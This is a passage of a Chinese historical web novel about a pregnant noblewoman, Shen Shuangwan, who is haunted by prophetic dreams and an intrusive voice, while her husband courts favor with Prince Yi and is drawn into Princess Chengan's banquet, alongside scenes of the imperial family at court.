她皱了眉头,这沙哑的声音她觉得隐约有那么一些熟悉,但却并不能想起究竟哪里听到过。
“或者有那么一些事情,不应当总带着偏见看待。”
偏见?沈霜晚几乎要气笑了,这竟是她偏见太多?
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而这时,主位上的朱氏再次开口了。
“既如此,便还是叫望儿去办。”朱氏缓缓说道,“家中如今的确也是人手太杂了些,你有孕在身,经不起有心人折腾。”
沈霜晚下意识抬眼看向了朱氏,朱氏也正看着她。
“你也莫要思虑过重。”朱氏说道。
沈霜晚正想说话,那莫名的声音再次响起来:“无论你如何想,薛家现在便就是能给你遮风挡雨的地方,对吗?”
5. 仪王
中午服侍了朱氏用午膳,沈霜晚才回正院去。
天气仍然阴沉沉的,绵延的乌云把整个天空铺满。
换了衣服,沈霜晚觉得疲累,便就在榻上合眼躺下。
朦胧中,她听到隔壁屋子里面丫鬟们在低声交谈,满耳嗡嗡营营。
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“这就是老夫人送来的那几匹料子呀?看着像京中最近流行的那个什么散花绫?摸起来倒是很柔软。”
“花样也不错,这应当是海棠花。”
“就是太轻薄了一些,都入秋了,做夹衣都不合适。”
“等问过夫人再看做些什么吧!”
“夫人可还好?从昨日起夫人就看着没什么精神。你们说——”
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声音蓦地消失,那些窃窃私语安静了。
沈霜晚却感觉松了口气一般。
她命令自己快些睡去。
她闭着眼睛,很快便堕入了光怪陆离的梦。
梦中她却也在听丫鬟们的交谈。
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“夫人好可怜,大郎竟然就喊郡主母亲了。”
“那是侯爷让喊的,大郎也不是真心吧?谁能嫌弃自己的母亲啊!”
“他平日里怨言可不少,我看啊,就算侯爷不开口,他也是要喊的。”
“所以夫人可怜,生这么个儿子不如不生。”
“可我觉得……大郎也很可怜。夫人顾不上他,他也只能靠自己了。再说了,郡主当初本就养过他一场,他喊郡主母亲也没什么吧?”
“你这话说得倒是奇怪,原本夫人好好当着正房夫人,突然郡主横插一杠子,现在还怪夫人?这府里大郎可以怨恨所有人,唯独不能怨恨夫人。没有夫人哪来的他?”
“罢了罢了不吵这些,我们不过都是下人,管不了上头的事情。”
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视线茫然飘远,她看到远处有个半大少年,也正冷着脸偷听着这些丫鬟们的交谈。
梦中似乎很难看清一个人的面容,可似乎是心中有执念,她努力去辨别。
稚嫩的面容在她靠近后变得成熟而熟悉,薛望冷峻的眼眸中充满了不耐烦。
他道:“你就在别院好好将养,不行吗?非要吵闹!你从前不是这样的。”
我何时吵闹?
她禁不住如此自问。
周遭一切变得朦胧起来。
在她脑海中出现过的那莫名声音再次响起来。
“有一些事情,原本也不会发生。”
这时,远处传来嘲讽的笑。
沈霜晚寻声看去,她看到了她自己。
不等她有任何反应,突然之间天地倒转,一切又归于混沌。
她身周只剩下漆黑一片。
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有丫鬟在轻轻喊她:“夫人,醒一醒,是哪里不舒服吗?”
梦和现实不过一步之遥。
她睁开眼睛。
是承月在一旁担忧地拿着帕子在擦她额头上的汗。
“要不要请大夫来看看?”承月轻声问。
沈霜晚摇了摇头,她扶着承月的手坐了起来。
“是什么时辰了?”她探看窗外的天色。
“午时刚过。”承月回答道。
她便穿上鞋子站起来。
“我去看看书吧!”她说道。
承月笑着道:“夫人先看看老夫人送来那几匹散花绫做什么好呢?做夹衣也太轻薄些,更别提做棉袄。我瞧着倒是好做几件内里,唯一便是有些花哨。”
沈霜晚打起精神来也笑了笑,道:“那就先把那几匹散花绫拿来看看。”
承月应了下来,先扶着沈霜晚到外间坐下,然后才带着小丫鬟把那几匹布都搬了进来。
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一共六匹散花绫,银红两匹,柳黄蟹青翠蓝槿紫各一匹。
花样都是时令花卉,有海棠蔷薇等等,富丽堂皇,令人眼花缭乱。
承月展开了那匹银红的料子给沈霜晚看,口中道:“今天早上才看到这些料子堆在外面,也没来得及和夫人说,是奴婢们疏忽了,还请夫人恕罪。”
“无妨。”沈霜晚无所谓地摆了摆手,就着承月的手看了看那料子,的确是轻薄柔软,又一时间想不出能做什么,“要不是颜色太艳,倒是适合拿来做装裱。”她示意承月把这些料子收起来,“做内里似乎也太过鲜艳,先放着吧!”
承月一边叫人把料子收起来,一边道:“这料子轻薄柔软,到时候可以给小郎或者小娘做一些贴身的衣服。小孩儿穿鲜艳些好看。”
沈霜晚顿了顿,缓了缓才点头,道:“你说的是,到时候给小郎做衣服吧!”
承月看着她面上兴致并不怎么高昂,便也不再接着说下去,只安静地带着丫鬟们退了出去。
沈霜晚怔怔坐了一会才站起来到旁边书架上翻书来看。
书架上那些书册多是她的陪嫁,有当初父亲沈令德留下的古籍孤本,还有后来她看过的一些话本故事,她嫁妆里就这些东西多,因为实在不值多少钱,那个强行过继到连氏名下的嗣子看不上这些死物,便就慷慨地让她全部带到了薛家。
连氏那时向她道,这些才是传家之宝,有钱都没地方能买的孤本,是他们不识货。
她当然也知道这些东西千金难买,她那时常常在想,等将来她有了小孩儿,便教他先读书,她有很多很多书可以让他去读,他能成为和她父亲一样学识渊博的人。
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薛望厚着脸皮在仪王府坐了一早上又一中午,终于听到了外面传来车马声,仪王终于回来了。
看着繁复的仪仗进到府中,听着各处声响通传,又过了两刻钟,终于有人到侧厅来请他过去见礼。
“殿下稍后还要进宫去,侯爷有什么事情一定要长话短说。”来人是仪王身边长史。
薛望起身跟随在长史身后,语气谦恭应下:“不过是些许小事,不会耽误太久。”
长史便笑了笑,道:“殿下是听说侯爷昨日也来了,想着侯爷是有什么要紧事情呢!”
“于殿下而言是些许小事,于我等来说,便是天大的事情了。”薛望面不改色道。
长史看了薛望一眼,也不再多说什么,只带着他进到正殿中,仪王赵弘美正在殿中。
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仪王赵弘美行十一,是皇后幼子,据说因为出生时候尤其漂亮,故而今上便赐了个“美”字。
但对于京中所有人而言,这位皇后幼子最出名的并非是他容颜漂亮,而是他极为放荡不羁不受约束的性情。
薛望从前没有和这位仪王打过交道,只听闻他脾气阴晴不定,此刻进到殿中,心中颇有些忐忑。
待到站定行过礼,他久久没有听到上首叫起的声音,心中不由得打起鼓来。
也不知究竟过了多久,他听着长史上前去悄声说了些什么,接着才听到一个含笑的声音叫他起身看座。
“孤方才听说永平侯求见,还想着少师死了七八年,怎么又从土里爬出来了?”轻松的口吻,却在说着让薛望尴尬之极的话语,并且还没有停下来的样子,“你是什么时候袭爵的?”
薛望静默了会儿,他小心抬眼看向了坐在上首的人——有些不合时宜,但他脑子里却忽然蹦出一个想法来,那美字倒是没错,人如其名是有的,紧接着才有第二个想法,这位仪王的性情的确太……难叫常人消受。
“是永兴三十四年袭爵。”顶着仪王打量的目光,薛望回答了。
“哦,原来是那年。”仪王意义不明地嗤了一声,他漫不经心地拿起案上的茶盏抿了一口,“你说吧,是有什么事情求到孤这里来?”顿了顿,他不等薛望开口,紧接着又道,“不过你最好不开口,孤对你们的事情都没什么兴趣。”
薛望被噎了一下,心中迟疑与挣扎并起。
他自永兴三十四年袭爵到如今已经有两年,但除却这爵位外,实差官职皆无。没有实职,这爵位在京城什么都算不上。这两年他倒是也想了各种办法跑官,只是京中与他相仿的人家也多,实在轮不到他头上,几番挣扎,他才想到了仪王。
他想着,当初他的父亲薛聿曾是太子少师,辅佐了前太子,前太子与仪王是亲兄弟,如此也算是薛家与仪王有些渊源了。
可现在仪王把话说得如此绝对,他究竟还应不应该攀这关系,薛望心中满是犹豫。
上首的仪王放下了茶盏,饶有兴致地看着他,挑了眉:“若没什么事情,你就退下吧!”
听着这话,薛望心一横,倒是拿定了主意:“殿下,臣是想在殿下身边效力。”
“孤身边人够多了,看在少师的份上,孤就不说什么难听的话,省得你哭哭啼啼让孤难堪。”仪王摆了摆手,直接站起身,“孤要进宫去了,你自便吧!”
薛望脸涨得通红,只得跟着起身恭送。
便见仪王赵弘美一身银白,仿佛仙人一般翩然而去。
长史倒是客气地送了薛望到门口。
“还请侯爷见谅,我们殿下就是这个性子,陛下也无可奈何呢!”长史呵呵笑着,让身后的侍卫捧着两个大礼盒上前来,“侯爷在我们府上耽误了两天,殿下也觉得过意不去,这是一些土仪,还请侯爷不要嫌弃。”
薛望忙命人接过,又再三道:“是我实在太唐突,还请殿下不要怪罪。”
长史便笑了笑,看着薛望上马车离开了,才转头回府中去。
6. 郡主
沈霜晚带着丫鬟们清理着屋子里的物事。
入秋,自然要把那些适宜夏天的陈设都撤下,再从库房里找出那些适合秋季拜访的古董玩物摆放出来。
开了库房,映入眼帘的便是沈霜晚嫁妆里面最大的一扇云母屏风,有一人多高,上头用云母拼了嫦娥奔月的图画,精美而华丽。屏风左右还摆放着一整套云母家具,诸如妆镜榻屏之类。
一旁承月笑道:“夫人,要不要就把这套云母的摆出来?”
沈霜晚顿了一顿,却想起来她出嫁之前连氏为了她与沈家人撕扯嫁妆的事情。
沈家自然不乐意她把现钱都带走,连同过继到连氏膝下那嗣子也一起合起来欺负她们母女二人,最后便只带了这些笨重家什还有书册等物,箱底钱沈家是一文也不愿意给,最后好说歹说,是用薛家纳彩的银钱抵了。
这些家什漂亮又看起来贵重,书册又能说是诗书之家,没有人会去翻她的箱底到底有多少银钱,从面子上看,沈家不曾欺负过孤儿寡母,甚至还要称赞几句,说他们大方大气,没有亏待她。
想到这里,沈霜晚叹了口气,若她是朱氏,恐怕也难对她有多满意,一切不过是为了脸面,可偏偏她就只剩一个脸面名声。
“或者用那套黄檀的?”承月察言观色,又叫人抱起了旁边一面黄檀的妆奁。
“就捡几件插屏之类的吧。”沈霜晚摆了摆手,示意不必太兴师动众,“再换几个花瓶就好了。”
承月便叫小丫鬟去抱了好几个花瓶出来让沈霜晚一一看过,选定之后便抱到外头去换了。
若她离开薛家,她要怎样过活呢?
这么一个问题突然蹦上了她的心头。
这些笨重家什,能换多少钱?
她一月要用多少钱?她得要多少钱才能养活自己……还有肚子里面这个孩子?
一系列林林总总的问题一个接一个出现了。
她要住到哪里?沈家自然是回不去了,她得自己找个别院么?
住在城内,要多少钱才能买一个不大不小的宅子?
若住在城外,是否还要许多护院?
还有穿衣吃饭,她名下没有田地,也没有商铺,她要怎么过活?
她突然不敢往下想,她突然感觉到害怕了。
扶着承月回到屋子里面坐下,她看着丫鬟们忙忙碌碌换上了那些华美摆设,心中却在算账。
她屋子里面两个大丫鬟,四个小丫鬟,还有若干做杂活的役妇。
两个大丫鬟每月能拿两百钱,小丫鬟和役妇每月一百五十钱,仅就算这些,每月她身边人便要花费两千钱。
几年前她卖画时候运气好也不过是两千到三千钱,就算用三千钱来算,剩下一千足够她再请护院,再吃喝么?
“这些银钱自然不够。”那莫名的声音响起了,他这次竟然帮她算起了账,“家中护院每人月钱要三四百钱,如今府中护院有二百多人,每月粗粗算下来也要八九万钱。”
沈霜晚沉默地跟着心算了一番,竟没有之前听到这声音时候那样愤愤。
“再有家中日常衣食采买,也要花费不少。”那声音继续说道,“尽管家中田地也有出息,不过那些是不完全足够应付府中所需的,每年都需要再额外采买一些。”
沈霜晚想到府中年底时候各处庄子会送来的那些出息,再想到日常所用,的确如这声音所说。
“我们家中已经算是人口少,开销也少了。如京中其他权贵人家,人多还要讲究许多排场,还有人情往来,只靠田庄出息和微薄的俸禄,是会入不敷出的。”那声音说道,“当初沈家不也是如此?否则为何你叔叔拼着不要脸也要克扣你的嫁妆?”
沈霜晚静默了片刻,她抬眼看向了屋子里换过的陈设,烦闷地摆了摆手示意丫鬟们可以暂时出去。
“你把许多事情想得天真。”那声音缓缓说道,这次他似乎格外有耐心一些,也不那么咄咄逼人了,“你今日想到算账却是好的,许多事情便就是要算一算,才知道应不应当做。”顿了顿,他似乎在等着她思考,然后才继续往下说,“你要为一个梦,认定薛家便就是会辜负你,你要流落街头去?一个孤女流落在外?沈家已经不在京城了,你靠什么活?你为什么一定觉得梦是真?”
沈霜晚想到那些层层叠叠的梦,她闭了闭眼睛,她知道梦是真的,她说不出缘由,她心中早就认定那一切都会发生。
“眼前当下才是真。”那声音似乎能知道她心中所想,“你是永平侯夫人,你在府中享受金尊玉贵的一切,只需要你一个眼神,那些丫鬟就会退到屋子外面不敢打扰,你一个手势,他们就会把库房里面的东西收拾得整整齐齐摆到你面前来。你不认为当下是真,却认为梦是真,你不觉得荒谬吗?”
这话叫沈霜晚有那么一些动摇。
梦与当下,究竟谁是真呢?
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空中阴霾遍布。
薛望坐在车中随手打开了仪王长史送的两个礼盒。
里面的确如他所说是一些土仪,一个盒子里面装了鲜果,另一个里面则是蜜饯。
不算太贵重,至多算是时令恰当了。
合上这两个盒子,他烦闷地靠在一旁,想着还能去哪里碰一碰运气,是不是应当再求一求仪王呢?
前年那一场大乱过后,如今也就仪王最得今上宠爱,其他几个皇子恐怕也在铆足劲想要上进,怕是顾不上他这样的小人物吧?
他只恨父亲去得太早,家中又没有兄弟扶持,如今倒是无依无靠也没有门路。
想到这里,他又想到朱家的舅舅。
若是舅舅还在也好了。
越想便越是心中惆怅,他叹了口气,马车却突然停了下来。
.
“怎么了?”薛望问道。
车夫打了帘子,请示地看向了他:“侯爷,成安郡主车驾在前面。”
“成安郡主?”薛望微微皱了眉头,“让一让就是了。”
车夫应下,赶着车让到道路一旁。
马车刚停下,车夫又重新打了帘子,这次他身
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边站了一个陌生的侍卫。
薛望看向了那侍卫,又问询地给了自家车夫一个眼神。
那侍卫上前来递上了一封帖子,恭恭敬敬笑了笑:“永平侯安好,我家郡主请您过去一叙。”
薛望忽地想起昨日沈霜晚的那一番没由来的胡乱猜想,他没有接那帖子。
“我与郡主素不相识,陌生男女,便不见了吧!”他如此说道,“还请郡主见谅。”
话音未落,一个珠光宝气的少女从前面车马上跳了下来,她含笑走到了他近前来,一双妩媚的眼睛盯紧了他:“怎么素不相识了?我们明明见过的,还不止见了一次。”
侍卫恭敬对着这少女行礼,然后退到一旁。
薛望看着她,倒是也想了起来,这成安郡主的确是见过的。
之前宫中有宴饮,他与这成安郡主见过的确不止一次。
成安郡主对着他伸出手,落落大方:“陪我在街上走一走?”顿了顿,她见薛望没有动作,便挑了眉,“怎么像个黄花大姑娘?陪我走走也不敢?”
话说到此处了,薛望也不好再拒绝下去。
他理了理宽大的衣袖,扶着自家车夫的胳膊下了马车。
成安郡主似笑非笑看了他一眼,仿佛揶揄一般道:“怎么连碰也不敢碰我一下?”
“臣不敢。”薛望避开了她的目光。
“今日不在宫中,也不在公主府上,便不必如此拘礼。”成安郡主伸出手示意薛望跟上,她眼中带着显而易见的柔情,“你这是去了哪里?现在是打算回家么?”
“去拜见了仪王殿下。”薛望跟上了成安郡主。
“去见他做什么?他可不是好相处的人。”成安郡主无所谓地笑了一声,“连我母亲的面子他都不给呢!眼睛朝天,不知道看得起谁。”
薛望心中虽然赞同成安郡主的话语,面上却不敢表现出来,他只附和着笑了笑,没有多说什么。
“我母亲今日要宴请京中亲友,你与我同去把?”成安郡主抬眼看向了他,“我虽不知你去找仪王是为了什么,可今日我母亲宴会隋王嘉王都要去呢!”
薛望顿了顿,他也看向了成安郡主,心中有些意动:若是能与嘉王隋王相识,或者也能算是个法子,总比他贸贸然去拜访要好一些了。
“不过是个宴会,你可别想太多。”成安郡主狡黠地眨了眨眼睛,“你要不要去?”
“那……多谢郡主了。”薛望有了决定。
“来,上我的马车。”成安郡主带着薛望朝着她那辆华贵的马车走去了。
一边走着,她忽然想起什么一般,又看向了跟在薛望身后的侍从。她道:“你们就回去吧,正好和你府上人说一声,免得叫他们担心。”说着她又看向薛望,“到时候我送你回去,不必这么些人跟着了。”
薛望迟疑了一会,又看了看成安郡主,最后点了头。
“回去与夫人说一声,便说我晚些回去。”他道。
“是明日回去!”成安郡主在一旁纠正。
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7. 各异
午后天色忽地暗下,阴冷之意袭来了。
沈霜晚隔着屏风听薛望身边的长随回话。
“侯爷说去武阳长公主的宴会,今天怕是赶不回来,请夫人莫要担心。”长随恭恭敬敬说道。
“知道了。”沈霜晚语气淡淡,她看了眼外面天色,又道,“你去老夫人那儿说过没有?”
“还未曾去。”长随道。
“叫人带着他去老夫人那儿也说一声吧!”沈霜晚向外面吩咐。
外间便有人应下来。
长随向沈霜晚行过礼,起身跟随着离开。
之前与她分说算账循循善诱的声音已经安静了许久。
沈霜晚命人把屏风抬到一边去。
“武阳长公主就是成安郡主的母亲,我没记错吧?”沈霜晚问一边站立的承月,“我记得成安郡主之前是县主?”
承月想了想才道:“是那年出了事,武阳长公主驸马没了,才赏了长公主一双儿女额外加封。”
“看来我是没记错了。”沈霜晚揉了揉眉心,她觉得疲惫得很,可她却并不想去睡觉,她觉得应当找些事情做才好,于是她向承月又道,“你把我们房里的账簿拿来。”
承月一边应下,一边快步走到外间书房里面找出了账簿,送到了沈霜晚面前。
“这两个月侯爷出去交际送礼用了许多银钱,不过账上剩的还有许多。”承月翻开账簿让沈霜晚一一看过,“老夫人之前还补贴过一些,都记在这里了。”
沈霜晚扫过那一行行的银钱支出,点了点头。
“这里是从库房里面取用的古董玩物,夫人有一把伏羲琴前两日侯爷取用了,另外又叫人把上次老夫人过寿收到的那把落霞琴送到夫人这边来了。”翻了一页,承月指着几条礼尚往来说道,“还有一些字画,都记在这里。”
沈霜晚凝视着这些一条条的人情往来,忽然心中感觉到微妙。
若是从前,她当然是不在意这些取用的,一家人何至于区分这些你我?
可一旦分出了你我,她便隐隐在意。
那声音便又在此时冒了出来。
“何至于在这些事情上锱铢必较?夫妻原本是一体的。”他说道。
沈霜晚只作没听到这声音,她拿着账簿往后又翻了一页,后面便都是些其他日常零碎的支出,一笔一笔看起来不多,但加起来也不少。
这说到底也不能算是她的钱。
沈霜晚摆了摆手让承月把账簿拿下去。
承月还没来得及出去,便听见外面传来了丛燕的声音。
沈霜晚皱了皱眉头,令人出去探看。
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过了一会儿,丛燕笑着带着两个小丫鬟进到屋子里面来了。
先行了礼,丛燕回身从小丫头手里接过了食盒,取出了一盏燕窝:“中午时候老夫人见夫人气色不太好,命厨房炖了燕窝,又叫奴婢给夫人送来。”
沈霜晚看了一眼那燕窝,还没来得及说什么,那丛燕又命身后那丫鬟拿出了两大包燕窝交到沈霜晚的丫鬟手里:“老夫人还说,这些燕窝夫人先吃着,若是觉得好,库房里还有许多。”
丫鬟捧着燕窝,一时不知如何是好,只看向了沈霜晚。
而这时,那声音再次响起。他道:“老夫人也是为了你好,你难道不想收?”
“够了——”沈霜晚自己都不知道这句话到底是哪里叫她难以忍受,也许是这几天这声音说过的所有话语都让她无法忍受,她再也无法忍受他在她耳边说这些话语。
那莫名的声音消失了,整个厅中也安静了。
沈霜晚看了一眼屋子里面神色各异的丫鬟,心中有些后悔,她便就应当是当做什么都没听到,便不应当去搭理,然而话已出口,她也只能认下。
屋子里面的大小丫鬟们相互交换了眼神,被塞了两包燕窝的丫鬟眼神一暗,直接把那两包燕窝塞还给了那小丫头。
小丫头呆呆地拿着那两包燕窝,看向了丛燕。
丛燕神色未变,她笑着看着沈霜晚:“夫人用过燕窝,奴婢就好回老夫人了。”
“没规矩!”这次是承月站了出来,“夫人用不用燕窝,还要你一个丫鬟指手画脚?刚才夫人便叫你闭嘴,你还要喋喋不休,看来是老夫人太仁慈,把你一个丫鬟惯到天上去了!”
沈霜晚意外地看了承月一眼。
承月继续又道:“不过一盏燕窝还要弄得如此兴师动众,不知道的还以为老夫人是多么浅薄之人。就是你们这些丫鬟拿大,闹得府里不安宁!”
这话说得太重,丛燕面色一阵红一阵白,终是收了那趾高气昂的模样,低眉顺眼地退了一步。
“那奴婢便先回去了。”丛燕说道。
沈霜晚此刻倒是有些感激承月,她便又指了另一个大丫鬟承星道:“承月和承星一起送丛燕回去,再与老夫人说一说此事,免得老夫人误会。”
两个大丫鬟一起站出来应下。
“这燕窝便留着老夫人补身子吧!我有孕在身,许多东西不能乱吃,多谢老夫人好意。”沈霜晚命人把那盏燕窝重新收回食盒里去。
丛燕勉力笑了笑,重新对着沈霜晚行过礼,然后才带着两个小丫头离开。
承月和承星两个丫鬟跟随其后,另外便有小丫鬟站到门口等待吩咐,屋子里重新安静了下来。
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仪王赵弘美骑在马上慢悠悠朝着皇宫方向走着。
他漫不经心地看着道路两旁街坊里面热热闹闹的百姓,收回目光又看向了自己身侧的长史。
“你给那个永平侯送了什么东西?”仪王问。
长史笑着道:“就一盒鲜果一盒蜜饯,听门房说他来了好几趟,我便想着送点土仪,省得他觉得殿下无情。”
“从前少师可称铁骨铮铮的忠良之刃,他么,子不类父。”仪王无所谓地笑了一声,“若是他有少师一半的气节,我倒是很愿意拉他一把。”
长史便道:“我也想少师的面子,才送了两盒土仪。”
“罢了,不说这些。”仪王目光漫不经心地又看向别处,远远的,有车马的动静朝着城门方向过去,他有些好奇地多看了一眼,便瞥见了跟在最后的仪仗,“那
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是隋王?他出城做什么?”
“长公主今日有个宴会,殿下说不去的。”长史道。
“哦,那宴会没什么好去的。”仪王点了点头,不太在意这些了。
“听说长公主在给郡主相看人家,把半个京城的少年郎都请去了呢!”长史笑了一声,看向了仪王,“殿下想看热闹还是可以去看看的。”
“这热闹还是算了。”仪王兴致缺缺,“烦得很,要不是母后身体不好,我都不想回来。”
主仆两人说着闲话,便已经到了宫门口。
仪王跳下马,和宫门口的侍卫略一点头,便大摇大摆进了宫门。
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进了朱雀门,再往东北绕个圈,便直接从前朝进到了后宫,再往西北方向走个两刻钟,便到了皇后的长宁宫。
虽然这天气阴沉骑马时候甚至感觉风儿甚是寒凉,但走了这快小半个时辰,还是让仪王感觉燥热起来,仿佛夏天又重新回来了。
长宁宫门口,老早有内侍等候,看到仪王,便小跑着上前来迎着。
“娘娘听说殿下今日回来,叫奴婢在这儿等着殿下呢!”小内侍活泼地捧上了一大杯冰镇的酸梅汤,“殿下喝口酸梅汤,再略站一站吧!”
仪王赞赏地看了这小内侍一眼,接过了酸梅汤喝了一大口,快意地出了口气:“还是太远了,下次我就不这么绕,直接从麟德殿过来。”
话音未落,突然一个含笑的威严声音响起来了:“你绕这么一圈,不就是怕朕抓到你吗!”
仪王一愣,往那小内侍身后一看,只见今上便就站在长宁宫门口看着他。
“父皇!”仪王把杯子还给那小内侍,忙上前去行礼,膝盖还没曲下去,就被今上一把给拉了起来。
“不必多礼。”今上笑了笑,拍了拍仪王的肩膀,扶着他的胳膊往宫中走,一边走一边笑道,“你姑妈今日有宴会,你怎么不去凑个热闹?”
“烦得很,不想去。”仪王扶着今上的胳膊,很是无法无天地翻了个白眼,“她肯定又把杨家人请了一串,到时候又要催我和杨氏复合,我是不愿意复合的。”
“杨氏只是骄纵了些。”今上好笑地看了他一眼,“女儿家骄纵也是常见的事情。”
“反正我是不会和杨氏复合的。”仪王扶着今上进到殿中,便见皇后正带着笑看他,他便松开了今上,大步走到了皇后跟前去,“母后,你怎么看着瘦了这么多!早告诉我,我便早些回来了!”
皇后拉着他站起来,起身来让今上先坐下,才摸了摸仪王的脸颊,笑道:“你在凉州玩得开心么?”
“开心,下次带着母后一起去看佛像石窟。”仪王回答道。
今上轻咳了一声,在上首坐下了:“你一个人胡天胡地到处跑就算了,还想带着你母后去?你母后身体不好,你忘了?”
仪王嘿嘿笑了一声,挨着皇后一旁直接席地而坐了,他道:“要不是带着父皇出门太麻烦,我还能带着父皇一起出去呢!”
这话把皇后逗笑了,她拍了拍仪王的脑袋,道:“别胡说八道,小心你父皇罚你。”
8. 天家
宫人们送上了各种茶点,然后安静地退到了殿外。
殿中只剩今上、皇后与仪王这嫡亲的一家人,气氛变得温和轻快了。
今上登基三十余年,今年正好整六十岁。
权力之巅的皇帝陛下自然保养得当,看起来至多五十上下,并不显老。
他看着挨着皇后坐没坐相的儿子,故作恼怒道:“多大了还一天天作小儿姿态!你这番前去凉州,很应当写一封奏疏来,让朕看看你不是出去瞎玩了一场。”
仪王却是不以为意的样子,他道:“儿臣便就是到处瞎玩了一场,父皇要看奏疏,让凉州刺史上书就是了。我是不会写的,父皇可别强人所难。”
今上恨铁不成钢地看了他一眼,向皇后道:“你看看他那样子,很应该打一顿。”
皇后抚着仪王的头发,徐徐笑道:“十一郎这话说得却对,他非是以钦差身份前往凉州,便也不应当对凉州之事指手画脚,陛下若要知凉州事宜,叫地方上书才妥当。若是只想知道沿路风光人情,倒是可叫十一郎说一说。”顿了顿,她又嗔怪地拍了拍仪王的肩膀,接着又道,“你不小了,不可在你父皇跟前句句狡辩,有什么话不能好好说?否则的确很应该打一顿长长记性。”
仪王便起身向今上行了大礼,露出乖觉模样,口中却仍笑道:“还请父皇手下留情,儿子已经二十二了,再挨打也太丢面子。”
“你还好说你二十二,到现在府里没个人,膝下也没个一子半女,一天天只想着在外面瞎玩!”今上横了他一眼,又看向了皇后,“还是得给他再相看一个,有人管着他,就不会到处乱跑了。”
“我看是难。”皇后招手让仪王起身重新坐回自己身边来,温声笑道,“你自己可有个主意?”
仪王面上拂过了一些难为,他想了又想,决定把这话题挑开,最好能挑到其他人身上去。他便道:“我刚才进宫时候看到四哥他们正去姑妈给表妹相亲的宴会,难道四哥他们想娶表妹啦?”
这话让皇后和今上都顿了顿,两人交换了个眼神,今上哭笑不得道:“你姑妈不也叫你过去?还特特在你母后这里商量了半天要怎么对你开口,你大概听都没听,直接叫人回了,是不是?”
仪王打了个哈哈,旋即又理直气壮道:“我若是去了,把那些什么少年英才都比下去了怎么办?这世上最怕就是人比人,我可不做乱人姻缘的事情!”
“你就是歪理多!”皇后在他额头上点了两下。
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正说着话,今上身边的内侍躬身进来了。
“圣上,兵部程尚书有奏疏送到麟德殿。”内侍说道。
今上面上露出几分不悦,他看了眼外面天色,似乎有些犹豫是不是先叫人回去。
皇后便道:“陛下还是先去处理朝事,已经这个时辰,程尚书想来是有要事才来求见陛下的。”
今上听着皇后这么说,便嘟嘟哝哝站起来,他道:“这程虎儿最好是真的有要事。”说着,他又想起什么一般看向了仪王,口中道,“你这次回来,便不要再往外跑了。就在宫中陪你母亲多住几个月——”他想了想,又道,“已经叫人给你收拾了清芳殿,若不喜欢,就重新自己找个喜欢的。”
“清芳殿离麟德殿也太近了,我想挨着母后的长宁宫。”仪王迅速道,“我看旁边的长乐宫就不错。”
“这可不行,长乐宫是后宫了。”皇后笑看着仪王,“就清芳殿,不许作怪。”
“晚膳朕还要过来。”今上起身一边往外走,一边顺手在仪王头上敲了两下,“你乖乖的,不许胡闹。”
仪王捂着头跟着站起来恭送今上到门口,口中道:“那我叫膳房多送几样父皇爱吃的菜过来。”
今上摆了摆手叫他不必跟着,直接上了肩舆,往麟德殿去了。
仪王仍然在门口站了片刻,直到肩舆拐弯看不见了,才转回到殿中去。
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殿中只剩母子二人,气氛不再似方才那般热闹了。
皇后叫仪王在旁边随便坐,缓缓叹了口气:“你这一去也太久了,我十分担心。”
“我去大哥地宫看过了。”仪王面色慢慢变得冷淡,“我叫匠人在壁画上绘了莲花化生图,只是父皇还未有明旨,墓志未刻。”
皇后静默了片刻,眼眶微微发红:“那会我在京城,便不会出那些事情。”
“母亲莫要自责,那些人既然要攀扯大哥,母后就算在京城,也不过是叫他们多一个攀咬对象罢了。”仪王认真道,“母亲放心吧,有我在呢!他们一个也别想逃,这账我是要一个个算清楚的。”
“罢了。”皇后看向仪王,“我这辈子生了你们姐弟三个,如今只剩你一个,母亲只希望你今后好好的。”
仪王故作轻松笑了笑,道:“那母后以后可别催我娶王妃的事情。”
“不是母亲想催你,只是你现在不成样子。”皇后无奈摇了摇头,“你和杨氏,到底要闹到什么时候?”
“已经和离了,我和她桥归桥路归路。”仪王往后一靠,也露出了几分无奈,“民间夫妻和离时候说‘一别两宽各自欢喜’,她和我既然分开了,就应该各过各的。母亲还是让舅舅早点给她再相看人家才是真的。”顿了顿,他又露出几分嘲弄,“再说,她跟我分开到今年已经是第五年,若真有什么余情未了老早就旧情复燃,实在不必等到现在又牵扯不清。”
“她毕竟是女子。”皇后如今也后悔那时应下了兄嫂的请求——但毕竟那时谁也没想到这两人会闹到这样地步完全无法收场,这事情到如今,她无法去逼迫杨氏嫁人,也不想委屈了自己儿子低头,便只好道,“她再如何也有限,你不搭理就是了。”
“我向来是不搭理他们的。”仪王说道。
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夜幕降临了。
武阳长公主的别院中灯火通明,丝竹声声。
赤膊上身的年轻男子佩戴着叮叮当当的首饰在火光下热烈跳着舞,衣着华丽的贵妇人们三三两两聚在一起,不时发出一些她们之间心照不宣又充满暗示的笑。
薛望与一众年轻男子聚在一起饮酒,不时看一眼隔着水池的那些贵妇,面上的尴尬时隐时现。
他有些后悔跟着成安郡主到这个宴会上来了。
只是现在走也来不及,他眉头微微皱了皱,只好又饮下了一杯酒。
“永平侯仿佛很少到这样宴会上来。”旁边不知何时换了陌生的面孔,薛望礼貌地看了过
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去,一旁便有人来帮忙介绍了,“这是高阳侯长子,谢夔,谢乐音。”
“说来,永平侯家中有妻,应是去那边陪着隋王殿下他们说笑呢!”谢夔指了指有舞姬的那一边。
薛望脸一红,正要起身时候,却见换了一身红衣的成安郡主过来了。
顿时,周遭一群人都正经起来。
成安郡主越过那许多目光,来到了薛望跟前。
“我带你去见隋王殿下。”她自然而然拉住了薛望的手,眼中含笑,“刚才过来时候,你不是说想见隋王的嘛!”
如此明显的动作,周围人的目光都变得微妙起来。
薛望急忙和成安郡主分开,又恭恭敬敬退让了一步,口中道:“臣一时内急,还请郡主见谅。”
成安郡主意外地挑了眉,笑容中多了许多的意味深长,她便回头叫了侍女过来,再向薛望道:“那我便在桂树下等你。”
薛望几乎落荒而逃一般跟着侍女离开,他听着身后那一串笑声,不敢回头去看。
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远处,武阳长公主看着自己女儿,眉头挑了起来。
“刚才和嘉儿说话那人是谁?”她问身旁的侍女,“远看倒是一表人才的样子,只认不出是谁家的公子了。”
侍女朝着成安郡主方向看了一眼,低眉顺眼回答道:“是永平侯薛望,薛明章。”
“这个永平侯——”武阳长公主皱着眉头想了想,又重新看向了自己女儿的方向,“我记得这个永平侯是已经成亲了?”
“是。”侍女回答。
“那怎么不带到隋王他们那边去?”武阳长公主疑惑问道。
“是郡主亲自带来,并安排到那边落座的。”侍女道。
